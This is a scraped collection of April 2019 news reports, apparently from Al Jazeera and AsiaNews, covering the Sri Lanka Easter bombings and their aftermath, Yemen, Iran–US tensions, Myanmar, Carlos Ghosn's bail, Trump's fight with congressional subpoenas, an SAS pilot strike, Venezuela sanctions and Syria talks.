that more than 70,000 people have been killed in Yemens civil war since January 2016, with 10,000 deaths in the past five months alone. On Monday, Human Rights Watch said the Houthis widespread use of landmines along Yemens western coast since mid-2017 has killed and injured hundreds of civilians and prevented aid groups from reaching vulnerable communities. Hunt cohosted a similar meeting in Warsaw in February which focused on implementing the Stockholm agreement and discussing measures to alleviate humanitarian suffering in Yemen. Death toll from Easter bombings revised down by about 100 as health ministry said some victims were counted twice. Colombo, Sri Lanka The first bodies began arriving at Colombos main mortuary half an hour after suicide bombers attacked a series of churches and luxury hotels in Sri Lanka on the morning of Easter Sunday. Many of them were badly damaged and peppered with shrapnel wounds, Chief Consultant Judicial Medical Officer Dr. Ajith Tennakoon told Al Jazeera, pulling open a drawer in his desk to take out a plastic evidence bag containing a silver ball bearing measuring only a few millimetres across. This is something that we never expected, Dr. Tennakoon said of the attacks, which the government blames on a local Muslim group National Thowheed Jamath (NTJ). 190424155359215 People were shocked. Really shocked. Even us looking at dead people, hearing those many, many sad stories. The scale of the disaster the biggest attack in the country since the long-running conflict with the separatist Liberation Tigers of Tamil Eelam (LTTE) ended a decade ago added to the pressure on the authorities to help families find and identify their loved ones in a timely manner. By Wednesday, the death toll from the attacks, which also targeted two churches outside Colombo, had risen to 359. But late on Thursday, the Ministry of Health abruptly revised the figure down to 253, blaming the difficulty in identifying the bodies. The ministrys director general did not return Al Jazeeras calls for comment. The sharp drop in the death toll followed earlier revelations that the government had failed to act on warnings from international intelligence agencies that attacks were imminent, adding to questions about the governments handling of the crisis. Double counting common Richard Bassed, a Disaster Victim Identification (DVI) expert with the Victorian Institute of Forensic Medicine in Australia who worked to identify the dead in the 2002 Bali bombings and the 2004 tsunami in Thailand, says double counting is common in any large-scale disaster such as a bombing. 190424081042798 Multiple relatives may report a person missing, and people may turn up alive in hospital because they had simply not been in a condition to communicate their names at the time they were admitted. And when bombs blow bodies to pieces, parts of different people may end up together in a body bag, making it difficult to separate one person from another. Nevertheless, while forensic scientists need time to establish a victims identity conclusively, for governments time is of the essence. For about 300 people, it should take five to six months to identify them all properly to Interpol standards including DNA, fingerprinting, dental records, all those sorts of things, Bassed said. But the government will be saying its got to be done in a week. They will just want to get it over with. Traumatic and challenging The mortuary staff in Colombo tagged each bag as it came in whether it contained a single body or parts. They began the process of visual identification displaying the photos of the deceased to waiting families to help people find their loved ones. Counsellors were on hand to provide support to the bereaved. On Monday, family members were waiting outside the mortuary gate to take home the bodies of their grandmother, Poorna Mary, aged 60, and her grandson, Moses Prashant, 15, who had been eating breakfast at Colombos Cinnamon Grand hotel when a bomber detonated explosives in his backpack. There are a lot of body parts, said one of the young women who had worked on the identification. It was very difficult. For the grandmother, we had to identify her by her teeth. 190423083934375 Interpol recommends a four-step procedure to identify the dead following a disaster: determining the location of the crime, the type of evidence that can be used to establish a persons identity, the best way to discuss the issue with family members and the final measures needed before the body can be released to relatives for the funeral. The guidelines acknowledge that the process can be often very challenging, especially when there are mass fatalities. Its traumatic and challenging, but when its done properly is enormously rewarding, Bassed said of the job. And when the families get their remains back, they will know for sure that its their loved one. Some bodies may never be identified The mortuary in Colombo, tucked away in a crumbling colonial building on a narrow lane near the National Hospital, accepted victims from the three hotels Shangri-La, Cinnamon Grand and the Kingsbury that the bombers targeted, as well as St Anthonys Shrine. The victims the hospital was unable to save were also transferred to the morgue. Dr. Tennakoon said Sri Lanka developed its guidelines on disaster-victim identification from both Interpol and the International Committee of the Red Cross, and had refined them in light of its experiences responding to atrocities during the civil war. By Sunday afternoon, staff washed blood from faces assuming the victim had not been completely disfigured and cleaned up battered bodies to try and reduce the trauma of having to identify a loved one who has died. By Monday, bodies were leaving the morgue and being prepared for burial. 190426053208891 As of Friday, 96 complete bodies 24 those of foreigners had been identified and released to their families, Dr. Tennakoon said. Three Danish victims were identified through DNA, some of the British victims from dental records and the four Chinese victims from their fingerprints. Some 18 complete bodies are still to be identified 17 of them those of foreigners and the forensic team expects to start tackling the 49 bags of body parts soon, the doctor said. Those bags may contain the parts of more than one person, or the parts of a person who has already been identified, suggesting the toll could still be revised. The mortuary has been notified of at least seven missing people, but the records will need to be cross-checked in order for the victims to be positively identified. It is likely that some of the bodies may never be identified at all, Bassed said, noting that the identities of some 400 victims of the tsunami that devastated the Thai coast around Phuket in 2004 remain a mystery. Dr. Tennakoon has been a pathologist for 30 years and worked three days straight as the tragedy unfolded. He says his Buddhist beliefs help him cope with the demands of his work. My job is to give my service in a proper, dignified and respectful way to the dead and the people who are grieving. Speaking before the Asia Society, Irans foreign minister attacks warmongers like Bolton, "Bibi" Netanyahu and the crown princes of Saudi Arabia and Abu Dhabi. He refers to the danger of an "accident" triggering a greater crisis, which would help Irans own hardliners. New York (AsiaNews) US President Donald Trump does not really want a war with Iran, but could be pushed in that direction by the negative influence of the B-Team, i.e. US national security adviser John Bolton, Israeli Prime Minister "Bibi" Benjamin Netanyahu, Saudi Crown Prince Mohammad bin Salman, and Abu Dhabi Crown Prince Khalifa bin Zayed Al Nahyan, said Iranian Foreign Minister Mohammad Javad Zarif speaking before the Asia Society*, with president Josette Sheeran, on Wednesday in New York. In his address, Irans top diplomat attacked US hawks. In his view, some people inside the Trump administration are organising an accident to escalate the crisis, but his government will act with prudence against the USs dangerous moves. For him, those who shape US policy towards Iran do not really want to negotiate a solution, adding that Iran does not seek confrontation, but will do everything to defend itself. He told the Asia Society Wednesday that "it's not a crisis yet, but it's a dangerous situation and warned that if the US tries to prevent Iran from selling oil, it should be prepared "for the consequences." According to Zarif, the Islamic Republic will continue to find buyers for its oil. And it has the means to circumvent sanctions; in fact, it holds a doctorate in the field. What is more, it will continue to use the Strait of Hormuz and warned that the if the US tried to prevent that, it would have to suffer the consequences. In May 2018, US President Donald Trump pulled out of the nuclear deal (JCPOA) agreed by his predecessor Barack Obama, and imposed the toughest sanctions on Iran in history. As noted by the International Monetary Fund, this decision has negatively impacted Irans economy, especially its oil exports, which was the goal of the second wave of sanctions that came into effect on 4 November 2018. Despite Washingtons hardline stance, the Islamic Republic continues to honour its commitments under the nuclear agreement, as certified by the IAEA experts. At the Asia Society, Mr Zarif took repeatedly care to draw a distinction between Trump and his administration, especially hawkish John Bolton, a long-time advocate of regime change in Iran along with Netanyahu and the Saudis, whilst Trump has pledged to avoid another stupid, costly war in the Middle East. Nevertheless, for the foreign minister, the US under the current administration is acting more like a gangster than as "the worlds policeman, pushing other nations to break the law and UN Security Council resolutions. US sanctions against Iran are for him a de facto declaration of war, an economic one. Against the backdrop, many analysts and experts have stressed that an aggressive US policy vis-a-vis Iran carries a double risk. On the one hand, it could cut off oil supplies and upset global markets, pushing prices sky-high; on the other, "regime change" could favour the rise of more hawkish elements affiliated with Irans political and military hardliners. * The Asia Society is an educational organisation dedicated to promoting mutual understanding and strengthening partnerships among peoples, leaders, and institutions of Asia and the United States. Govt signs new social deal with employers and labour unions while teachers continue protests over contracts. The Moroccan government has announced a new social deal with employers and the main labour unions, under which many workers will enjoy a pay rise. The deal agreed by the General Confederation of Moroccan Businesses (CGEM) and the three main unions UMT, UGTM and UNMT on Thursday will see the minimum monthly wage, currently 2,570 dirhams ($266), increased by 10 percent over two years from July, except for the agricultural sector. Public sector workers will be given a 300-500 dirham monthly pay increase over three years. According to the government statement, the deal is aimed at improving spending power and the social climate. The North African country has been hit by protests over employment and corruption. 190324081719938 The social unrest began in October 2016 after the death of a fisherman and spiralled into a wave of protests demanding more development in the neglected Rif region and railing against corruption and unemployment. Morocco is marked by glaring social and territorial inequalities, against a backdrop of high unemployment among young people. In 2018, it was ranked 123rd out of 189 countries and territories on the Human Development Index. The government move came as Moroccan police used water cannons to disperse a protest by thousands of young teachers in the capital Rabat, striking to demand permanent jobs that offer civil service benefits, including a better retirement pension. Around 65 protesters were injured on Thursday, said Abdelwahab Ghallat, one of the organisers. The protesters arrived from several parts of the country and tried to camp out in front of parliament until police dispersed them, witnesses said. Education Minister Said Amzazi has threatened to sack teachers if they do not return to classrooms, saying the strike has affected seven percent of Moroccos seven million students. Some 55,000 teachers out of 240,000 in total have been hired on renewable contracts by regional education delegations since 2016 to address overcrowding in rural classrooms. The government pardoned 6,948 inmates, bringing the total number of prisoners recently released to 16,499. Myanmar has announced a second pardon for nearly 7,000 prisoners nationwide in the wake of the Burmese New Year. President Win Myint signed the pardon for the release of 6,948 inmates across the country, bringing the total number of prisoners recently released to 16,499 since the nations new year which started on April 17, his office said in a statement on Friday. Under the first presidential pardon, some 9,551 prisoners, including only two political prisoners, were released to mark the beginning of the new year. 181224012706486 Further releases would be made, according to the statement which is void of details. However, two Reuters journalists, Wa Lone and Kyaw Soe Oo who were imprisoned as they investigated the killing of 10 Rohingya Muslim men and boys in the western Rakhine state were not pardoned, according to their lawyer. The pair, who are among Reuters staff recently winning the Pulitzer Prize for international reporting, were still behind bars in Yangons infamous Insein Prison, lawyer Khin Maung Zaw told Anadolu news agency by phone on Friday. As the statement mentioned, there will be further pardons, family members are still hoping the release of their loved ones, he said. Prisoners are transported out of Insein Prison to mark Myanmars new year amnesty [File: Ann Wang/Reuters] Political prisoners The Assistance Association of Political Prisoners (Burma), (AAPP Burma), based in the western Mae Sot city of Thailand, said the group is still waiting for information on how many political prisoners were included. We dont think a large number of political prisoners would be released, Bo Kyi, the secretary of the non-profit human rights organisation, told Anadolu Agnecy by phone. On Monday, the military-controlled Home Affairs Ministry said that there are no political prisoners in Myanmar, but that people jailed are in prison under the countrys existing laws and penal code for criminal acts. However, AAPP Burma said in a monthly chronicle for March that at least 45 political prisoners have been convicted since the current government led by State Counselor Aung San Suu Kyi took office in March 2016. Another 94 await trial in prison, while 225 others are on bail pending trial, said the human rights NGO. Ex-Nissan chief criticised condition but expressed gratitude for his release from detention centre in Tokyo. Former Nissan chief Carlos Ghosn has been released from detention in Tokyo, freed on $4.5m bail as he awaits trial on financial misconduct charges. A Japanese court upheld a decision to release the 65-year-old Franco-Brazilian businessman on bail and Ghosn, who was wearing a suit and surrounded by security guards, was seen walking out of the glass doors of the Tokyo Detention Centre late on Thursday. Ghosn was indicted over a new breach of trust charge on Monday. The court approved his release earlier on Thursday and said he then paid the bail amount. The indictment extended his period of custody at the detention centre and prompted his defence team to request his release on bail. The courts decision to release Ghosn on bail was extremely regrettable according to Tokyos deputy chief prosecutor Shin Kukimoto. The court set conditions for Ghosns release, including limitations on where he can live in Japan, a ban on overseas travel and measures to prevent him from fleeing and tampering with evidence. As one of the bail conditions, the court has also banned contact between Ghosn and his wife, Kyodo News agency reported, citing one of his lawyers. Following her husbands latest arrest on April 4, she travelled to Paris to appeal to the French government for help in securing Ghosns freedom while he awaits trial, and was questioned by authorities upon her return to Tokyo. Ghosn criticised that condition in a statement released in Paris later on Thursday while expressing gratitude for his release and insisting that the allegations against him were meritless and unsubstantiated. No person should ever be indefinitely held in solitary confinement for the purpose of being forced into making a confession, said Ghosn. But restricting all communication with my wife is an outrage and we are being punished because she has been so effective in publicly defending me. The latest indictment is related to payments allegedly channelled for Ghosns personal use by a Nissan subsidiary to a distributor in Oman. Those payments caused the carmaker to sustain a $5m loss. French carmaker Renault, which Ghosn headed until January, said it also reported potential issues concerning payments to one of Renaults distributors in the Middle East to prosecutors. Ghosn was arrested for the fourth time in early April, a month after his release from the detention centre, when he posted nearly $9m in bail, ending a stretch of more than 100 days in custody. Ghosn was first arrested in November and has since been charged with breach of trust and falsifying financial documents to under-report his income for years. He has repeatedly denied the allegations. Nissan and Mitsubishi Motors sacked Ghosn as chairman following his arrest in November. He stepped down as chairman and chief executive of Renault in January after a previous bail application was rejected. In a video statement taped shortly before his rearrest, Ghosn blamed the charges on what he called a conspiracy and dirty game by some Nissan executives. Militarys Myawady newspaper blames heart failure for deaths of men taken away by soldiers. The deaths of three ethnic Rakhine men in Myanmar military custody and the secret cremation of their bodies has provoked outrage, as fears over military impunity increase in the intensifying conflict with Rakhine rebels. The Arakan Army (AA) is fighting for more autonomy for ethnic Rakhine Buddhists in a state already infamous for the 2017 military crackdown against its Rohingya ethnic minority. Clashes between the rebels and the military escalated in January after the armed group attacked police posts. The armed forces responded with heavy artillery and fighter jets in violence that has displaced more than 20,000 people of various ethnicities. Two weeks ago, Myanmar soldiers barged into the home of Maung Than Nu, 45, in Lak Ka village in Mrauk U township. 190417124752481 He was carted off with 22 other men, suspected of being AA members. This week his wife, Than Khin Kyi, heard rumours on Facebook that he had died in military custody. Officials confirmed his death on Thursday after she travelled with other relatives of the detainees to the state capital, Sittwe. He was arrested without committing any crimes, the 45-year-old told the AFP in tears by phone. My husband is not AA, she said. Maung Than Nu died on April 22 of heart failure The Myawady newspaper, a military-owned publication, reported. Two other men arrested in the raid have also died in custody. According to The Myawady, Zaw Myo Htun, 22, also died of heart failure. The death of Thein Htun Sein, 40, was confirmed by Sittwe officials, but how he died has not been made public. The families had hoped to retrieve the mens bodies in Sittwe, but were unable to do so. We were told by police they had already been cremated, said Thein Htun Seins nephew Maung Nyan Thar, adding the families wanted legal action against anyone found responsible for the deaths. Government spokesman Zaw Htay could not be reached for comment. Completely unacceptable The north of Rakhine State is in strict lockdown, making any independent verification difficult. Thousands of troops have been deployed to Rakhine, which is one of Myanmars poorest states and is riven with ethnic and religious divisions. 190409062501653 Arakan National Party MP for Mrauk U, Oo Hla Saw, called the deaths and disposal of the bodies completely unacceptable. Rakhine Chief Minister Nyi Pu told relatives of the remaining detainees Friday he did not know when they would be reunited. None have been formally charged. Campaign group Fortify Rights called for an independent investigation into the deaths, fearing they could have been from unlawful killing, ill-treatment or inadequate conditions in custody. The military forced some 740,000 mostly Muslim ethnic Rohingya into Bangladesh during its 2017 crackdown that UN investigators say amounted to genocide. Ethnic Rakhine mobs were accused of aiding the expulsion. Myanmars army said the clearance operations were justified to flush out Rohingya fighters. Trump has refused to cooperate in numerous congressional probes, setting the state for several long court fights. Washington, DC US President Donald Trump is refusing to cooperate with several committees in the House of Representatives that have launched investigations of his presidency and business dealings, setting the stage for a legal confrontation that is likely to land in the US Supreme Court. We just went through the Mueller witch-hunt, Trump told reporters at the White House on Wednesday. And they came up with no collusion and they also came with no obstruction. We are fighting all the subpoenas. These are not like impartial people. Look, the Democrats are trying to win 2020, Trump told reporters after saying in a tweet earlier in the day he would take the issue to the US Supreme Court. But constitutional scholars and Washington, DC, lawyers say Trumps legal ability to fend off demands from the House, where opposition Democrats control key committees, is weak. The president can only delay Congresss access by litigating in federal court, although that is a process that could take months. What are the House investigations? Since Democrats won control of the House in the 2018 elections, several committees have started expansive inquiries into Trumps conduct in office, his tax returns and financial arrangements. The Financial Services Committee is looking into Trumps financial dealings. The Ways and Means panel has requested Trumps tax returns. The House Foreign Affairs Committee has joined other committees in demanding documents related to Trumps communication with Russian President Vladimir Putin. The House Oversight Committee is examining a number of areas, including the administrations handling of security clearances. The House Intelligence Committee has also launched its own investigation of Russia interference, as well as Trumps connections to Russia. And the House Judiciary Committee is pursuing allegations against Trump of obstruction of justice, public corruption and abuses of power. Mueller probe reports prompts subpoenas Last week, Attorney General William Barr released a redacted version of Special Counsel Robert Muellers report of his investigation into Russian interference in the 2016 US presidential election. 190422213651872 The report said that Muellers probe did not establish the Trump campaign conspired with Russian operatives. The investigation did, however, examine multiple acts by the president that were capable of exerting undue influence over law enforcement investigations. Mueller did not conclude that Trump committed obstruction of justice, but did not exonerate him either. On Monday, the House Judiciary Committee issued a subpoena, an enforceable legal demand, for testimony from former White House Counsel Donald McGahn, who was a key witness for Mueller. The committee is demanding copies of the notes McGahn took in meetings with Trump. According to Muellers report, Trump directed McGahn to fire the special counsel a request the former White House counsel refused to fulfil a conclusion the president has since denied. The Special Counsels report, even in redacted form, outlines substantial evidence that President Trump engaged in obstruction and other abuses, Judiciary Committee Chairman Jerrold Nadler said in a statement after issuing the subpoena. It now falls to Congress to determine for itself the full scope of the misconduct and to decide what steps to take in the exercise of our duties of oversight, legislation and constitutional accountability. What requests has Trump denied or delayed? So far, Trump has refused to cooperate with several of the investigations. This week, the Treasury Department failed to meet a deadline to turn over Trumps tax returns. The White House instructed a former official who headed the security clearance process to not honour a committee subpoena for testimony. Trumps lawyers have also filed a lawsuit against the House Intelligence Committee over the panels subpoena of certain financial records. Politico, citing House Democrats, reported that the Trump administration has refused or delayed providing documents to a dozen House committees at least 30 times. Several officials have also refused to appear or show up to panel hearings or interviews. What is executive privilege? Trump told the Washington Post in an interview published on Wednesday that he doesnt want people testifying to a [political] party, because thats what theyre doing if they do this. Trump said White House lawyers have not made a final, final decision about whether to assert executive privilege, a judicial legal principle claimed by presidents to protect the confidentiality of conversations they have with advisers. Presidential counsellor Kellyanne Conway repeated that statement on Thursday when asked by reporters if McGahn will be allowed to testify. Executive privilege is on the table, Conway said. Thats his right. Theres a reason our democracy and our constitutional government allow for that. But some constitutional law experts say such claims are extremely weak almost to the point of being frivolous. Certainly, with respect to the most important of the witnesses that the House Judiciary Committee is trying to bring before the public, and that is Don McGahn, executive privilege was obviously waived and executive privilege has no application in most of the other instances, said Laurence Tribe, a professor of constitutional law at Harvard Law School who has been a vocal critic of Trump. 190419133003572 The principle of presidential privilege, or executive privilege is legal concept that is not based in statute or the Constitution but was recognised by the US Supreme Court in the Nixon tapes case, a Watergate-era 1974 Supreme Court ruling. Then-President Richard Nixon had asserted presidential privilege in refusing to turn over tapes of his conversations to a grand jury investigating a break-in at the Democratic National Committees office in the Watergate building and Nixons subsequent attempts to cover it up. The Supreme Court ruled that the presidents interest in confidentiality did not outweigh the courts right to the tapes. What I think is likely to happen will depend very much on whether Don McGahn and others will regard their principal loyalty as to the law and the Constitution and basically ignore the presidents attempts to silence them, Tribe said. Or they will go along and defy the subpoenas and try to drag things out and run out the clock. What happens next? The presidents pattern of refusals leaves Democrat leaders in the position of having to go to federal court in the District of Columbia to seek intervention by a judge. Trump is signalling he would pursue appeals to the Supreme Court. The White House is smarting from the facts that are in the Mueller report, John Hardin Young, an election law expert at Sandler Reiff law firm in Washington, DC, told Al Jazeera. They are doing everything they can to prevent bad news from coming out. They are going to slow-walk anything they can. Use delay as a strategy for avoiding disclosing any information. Clearly, the president has decided that stonewalling is in his best interest, Young said. 190419174453875 Elijah Cummings, the House Oversight Committee chairman, accused the Trump administration of a massive, unprecedented, and growing pattern of obstruction. Both President Trump and Attorney General Barr are now openly ordering federal employees to ignore congressional subpoenas and simply not show up without any assertion of a valid legal privilege, Cummings said in a statement on Wednesday. Cummings said he is moving forward with a contempt citation for White House Personnel Security Director Carl Kline who has refused to honour a committee subpoena for testimony about top secret security clearances the president demanded for his son-in-law Jared Kushner. Mr Kline stands accused of retaliating against a whistle-blower who reported serious allegations of abuse to Congress, Cummings said in a statement. There are several avenues House lawyers can take to pursue enforcement of the subpoena for Klines testimony. One would be to have the full House vote to hold him in criminal contempt. House rules provide for an expedited civil contempt procedure that allows a Democrat-controlled panel of five leadership officers to vote to initiate legal proceedings against a person without tying up time on the House floor that would otherwise be used for legislative debate. With only 17 months to go until the next US presidential election, views vary on whether Trump can stall Congresss access to until after the election. Much will depend on how judges rule. Courts are quite capable of moving with great speed, Tribe said. The matter could reach the US Supreme Court very quickly. And I am quite confident that despite the presidents belief that somehow he has that court in his hip pocket he is not going to fare well at that point. The Swedish Air Line Pilots Association said negotiations had failed to find a solution to pilots working conditions. Pilots at Scandinavian carrier SAS have walked off the job in Sweden, Denmark and Norway, stranding more than 72,000 travellers as 673 flights were cancelled, the airline said. A total of 1,409 pilots were on strike on Friday, affecting domestic, European and long-haul flights, SAS said, predicting that 170,000 passengers would be affected through Sunday. The Swedish Air Line Pilots Association, which initiated the strike, said months of negotiations had failed to find a solution to pilots deteriorating work conditions, unpredictable work schedules and job insecurity. The Swedish Confederation of Transport Enterprises meanwhile said it could not accept the 13-percent wage increase demanded by the pilots, given their already high average wage of 93,000 kronor ($9,769) a month. The pilots association said work schedules, and not wages, were the main focus of the negotiations, as most SAS pilots have to work variable times and days. Many SAS pilots have no control over when and how long they have to work. In a worst-case scenario, they risk having to work seven weekends in a row, the pilots association said in a statement. Everyone who has a family life can imagine how difficult it is to not know when you have to work, SAS Swedish union representative at the pilots association, Wilhelm Tersmeden, said. SAS, whose shares traded 4.7 percent lower in Stockholm on Friday, said it hoped to resume negotiations and reach an agreement as soon as possible. https://twitter.com/SAS/status/1121688561164660736?ref_src=twsrc%5Etfw Hope well be rebooked SAS contacted most passengers before the cancellations to warn them of the strike and offered to rebook them at no extra cost. On Friday, many travellers turned up at Stockholms Arlanda airport in the hopes of getting on other flights. Elsa Lundberg, 20, and Christoffer Weil, 22, had been due to travel to Scotland for a hiking trip with their college class. This trip is the biggest thing this semester, Weil told news agency TT. We hope that well be rebooked on another flight. But were a big group and its unlikely everyone would be able to get on the same flight, Lundberg said. Theyre offering free coffee at Arlanda now, so thats at least a good thing, she said. Swedish pastor Ronny Nygren, who was scheduled to take his churchs youth group to Rome on Friday and was hoping they too would be rebooked on another flight, said he had mixed feelings about the strike. Its good that theyre fighting for their work conditions. But then, you have to think about the 13 percent, compared to other Swedes salaries, he told TT. The strike affected about 70 percent of SAS flights, with the remainder operated by partner airlines. SAS has implemented repeated savings programmes in recent years to improve its profitability, after teetering on the brink of bankruptcy in 2012. In the first quarter of 2019, the airline widened its losses, impacted by negative exchange effects and high fuel prices. Danish bank Sydbank on Friday predicted the strike would cost SAS 60 to 80 million kronor ($6m-$8m) a day. Sanctions come as US seeks to increase pressure on Venezuelan President Nicolas Maduro to step down. The US Treasury Department on Friday imposed sanctions on Venezuelas foreign minister and a Venezuelan judge, according to a statement on the departments website. Foreign Minister Jorge Arreaza and a judge, Carol Padilla, were targeted over the ongoing crisis in Venezuela, the Treasury Department said, the latest in a list of officials blacklisted by US authorities for their role in President Nicolas Maduros government. The designation of Arreaza and Judge Carol Bealexis Padilla de Arretureta freezes any assets they have in the United States and prohibits any US citizens or entities from having financial dealings with them. Arreaza is a prominent figure in the Maduro government who has represented Venezuela at the United Nations amid the deep political and economic crisis in the South American country. The judge approved the jailing of an opposition politician last year in connection with an apparent assassination attempt of the president. She reportedly also approved the detention of a top aide to the opposition head of the National Assembly, Juan Guaido. Guaido, who is backed by the US, argues that Maduros 2018 re-election was illegitimate. Guaido, in January, invoked the countrys Constitution to declared himself interim president a move Maduro called an attempted coup. The sanctions are aimed at increasing pressure on Maduro and senior officials in his government. Pressure on Maduro Washington recognised the Venezuelan opposition leader Guaido as the South American nations interim president and has asked Maduro, a socialist in power since 2013, to step down. The United States will not stand by and watch as the illegitimate Maduro regime starves the Venezuelan people of their wealth, humanity, and right to democracy, Treasury Secretary Steven Mnuchin said in a statement. 190410193825951 Treasury will continue to target corrupt Maduro insiders, including those tasked with conducting diplomacy and carrying out justice on behalf of this illegitimate regime, he added in the statement. Adding them to the list is part of an effort by the Trump administration to press Maduro to leave office. Separately, Venezuelas opposition-run National Assembly said on Friday that opposition politician Gilber Caro had been arrested, which it said in a Twitter post was a violation of his parliamentary immunity. Caro had previously been jailed along with hundreds of other activists involved in protests against Maduro, according to human rights groups. More than 50 other governments, in addition to the US, view Maduros re-election last year as illegitimate and have recognised Guaido as interim president. In Spain, recent opinion polls suggest the current opposition parties could win enough votes to form a right-wing coalition government. Top candidates running in Spains upcoming election are urging undecided voters to choose wisely and to not give the victory to the far right. Opinion polls suggest a right-wing coalition may win Sundays general election. It includes the far-right Vox party, which has based much of its campaign on the growing discontent around the economy, immigration and nationalism. Al Jazeeras Jonah Hull reports from Seville. Fearing backlash many Muslims are avoiding venturing out as hardline group NTJ is blamed for blasts that killed 253. Colombo, Sri Lanka In Dematagoda, a diverse neighbourhood in the capital Colombo, residents are still struggling to understand how a wealthy Muslim family who had lived in the area for 25 years turned into killers. More than 250 people were killed in a series of coordinated bombings at churches and hotels on Easter Sunday, blamed on a local Muslim hardline group National Thowheed Jamath (NTJ). President Maithripala Sirisena on Friday said police are hunting for 140 people with suspected links to the Islamic State of Iraq and the Levant (ISIL), which claimed responsibility for the worst attacks since the end of the island nations civil war a decade ago. 190421092621543 Mohammed Sabri, 50, who was born and brought up in Dematagoda and drives a red three-wheeler, said the two sons of spice tycoon Mohammed Ibrahim were known to be religious, but there was nothing in their behaviour that would raise red flags. Their three-storey home with black metal gates is now cordoned off with police tape. A black veil hung at one of the windows where Fatima Ibrahim, the pregnant wife of Shangri-La hotel bomber Ilham Ahmed Ibrahim, blew herself up as police arrived at the house on Sunday. Her three children and three police officers also died in the blast, which mangled the metal shutters onto the street and broke the windows. A white BMW car, now dusted for fingerprints, remains parked outside. A second brother, Inshaf, bombed the Cinnamon Grand hotel one of the four hotels that came under attack as guests were eating breakfast on Easter morning. Stand by the Muslims Neighbour Pamuditha Anjana, 30, said that when they were all children, the Ibrahim boys would come and kick a ball about on the street with the other boys, but as they got older they had kept to themselves. Theyre Muslim, Im Sinhalese, Anjana said, greeting two of his neighbours who had strolled over to join in the conversation. Every other day, we talk and chat about stuff. But these guys, they never came out. They kept to themselves. A Tamil woman living in city-owned flats nearby and preferred not to be named said she was shocked that the bombers were living in the neighbourhood that had been her home for 35 years. The young mens father, Mohammed Yusuf Ibrahim, has also been arrested and remains in police custody. She said the authorities had told residents in her block that anyone who had sublet their homes to Muslim families would have to tell them to leave. But the woman said she would stand by the Muslims because they had stood by the Tamils during the conflict. This is not the time for us to give up on them, she said. When law enforcement clamped down on the Tamils, Muslims stood by us. We will do the same for them. 190424145904439 Warnings Muslims have been warning the government for years about the existence of hardline groups such as NTJ and its leader Zahran Hashim, who died in the attack at Shangri-La hotel. Residents in Kattankudy in the Eastern Province where Zahran had set up the group held protests about his activities, forcing him to leave, according to local media reports. Hilmy Ahmed of the Sri Lanka Muslim Council, a group of influential community leaders, told Al Jazeera his organisation had reported the NTJ leader to the authorities as many as four years ago as someone who was creating hate. NTJ was blamed for defacement of Buddhist statues in central Sri Lanka last December following anti-Muslim riots that saw Muslim mosques and business burned in an arson attack earlier that year. After that Muslims told authorities to arrest Zahran, Ahmed said. None of the governments took it seriously, Ahmed told Al Jazeera, referring both to the current President Sirisena and his predecessor Mahinda Rajapaksa. It was like, Islamic extremists in Sri Lanka? That would never happen! That was their attitude. With the government now shifting blame, and society on edge, Muslim leaders are taking their own initiatives. One proposal under consideration is to establish small committees within each of the countrys 2,400 mosques to monitor whats going on and report suspicious behaviour, Ahmed said. Another is to collaborate with Muslim organisations overseas, such as the Muslim Council of Britain, to understand their approach to challenging threats from hardline groups. There is quite a lot of anger, guilt, all those things, within the Muslim community that we let this happen, Ahmed said. We should have been more vigilant. That is on everybodys mind right now. Serious challenge The bombings are the most serious challenge to Sri Lankas stability since the end of the decades-long conflict with separatist Hindu Tamils came to an end in 2009. 190424155359215 Although Muslims have led a largely peaceful existence, the community has faced mounting pressure since 2014 when riots in the south of the island started by hardline Buddhists left at least three people dead. The Easter attacks risk further undermining trust among Sri Lankas 22 million people who include not only the majority Buddhists, Muslims and Christians, but a patchwork of ethnicities. They have also empowered the military, giving the armed forces the kind of far-reaching powers of search, arrest and detention that they had during the conflict with the Tamil Tigers. An MP from the ruling coalition has put forward a private members bill calling for a ban on veils and the Sri Lanka Muslim Council reports some mosques in the countrys northwest have been pelted with stones. Fearing backlash Fearing a backlash, many Muslims are avoiding venturing out. Karina (name changed), a political analyst, has not left her home in Colombo since Monday a day after the attacks. The 40-year-old, who wears a scarf, believes she is being watched. She has stayed at home with her mother and two daughters ever since and sent her husband to buy enough food and necessities to last the family a week. 190424081042798 Every other non-Muslim I felt was looking at me with suspicion, she told Al Jazeera requesting not to use her real name. And while women like Karina have decided to stay at home, others have chosen to forego the hijab (a headscarf worn by many Muslim women who feel it is part of their religion) so they can continue with their daily lives in peace. There has also been an increase in men visiting barbers to shave their beards, according to local media reports. The All Ceylon Jamaiyathul Ulamah, Sri Lankas biggest Muslim organisation, has urged people to pray at home this Friday rather than going to the mosque. Religious authorities have also said they will not allow the bombers to be buried in the grounds of any mosque. As Karina ponders what will happen next week as schools reopen and people return to work, it is the victims of the Easter bombings and their grieving families who concern her the most. It was the Christian community that was hit by all of this, Karina said. This should be the time we [all Sri Lankans] get together and help the Christian community deal with the devastation. Russia, Turkey and Iran back the talks, but no agreement is reached on makeup of a Syrian constitutional committee. The Syrian government and armed opposition groups have failed to agree on the makeup of a constitutional committee during two-day talks in Kazakhstan that were led by Russia along with Iran and Turkey. The parties will discuss the issue further at the next United Nations(UN)-brokered talks in Geneva, the three cosponsors said in a joint statement after the talks in the Kazakh capital Nur-Sultan concluded on Friday. Alexander Lavrentyev, the Russian negotiator, said the formation of the committee was at the finish line. The timing has not been agreed yet, taking into account the upcoming month of Ramadan, it is most likely to happen after that, Lavrentyev told reporters on Friday. But I think by that time Mr [Geir] Pedersen [UN special envoy for Syria] will be able to announce the establishment of the committee. Forming a constitutional committee is key to political reforms and new elections meant to unify Syria and end an eight-year war that has killed more than 370,000 people and displaced about half of Syrias prewar population of 22 million. Forming a constitutional committee is key to end an eight-year war [Mukhtar Kholdorbekov/Reuters] The constitutional committee is of particular interest to the UN, which favours a Syrian-led resolution to the conflict. Russia, a backer of Syrian President Bashar al-Assad, has taken the lead role in diplomatic efforts in Kazakhstan that have largely sidelined UN diplomacy in Geneva. Tehran, like Moscow, is an ally of al-Assad, while Ankara has aligned itself with the rebels, but has repeatedly threatened to attack Kurdish fighters that it views as terrorists on the Syrian side of its southern border. Kazakhstan began hosting talks on Syria in January 2017. Rukban camp Separately on Friday, David Swanson, spokesman of the UNs Office for the Coordination of Humanitarian Affairs (OCHA), told AFP news agency that more than 7,000 people have left a desert camp for displaced Syrians near the Jordanian border since March. About 36,000 people remained in the isolated Rukban camp near Al-Tanf base, used by the US-led coalition fighting the Islamic State of Iraq and the Levant (ISIL or ISIS) armed group. Those who have quit the camp have moved to collective shelters in the central city of Homs or resettled in their areas of origin in the province of the same name, according to OCHA. It said 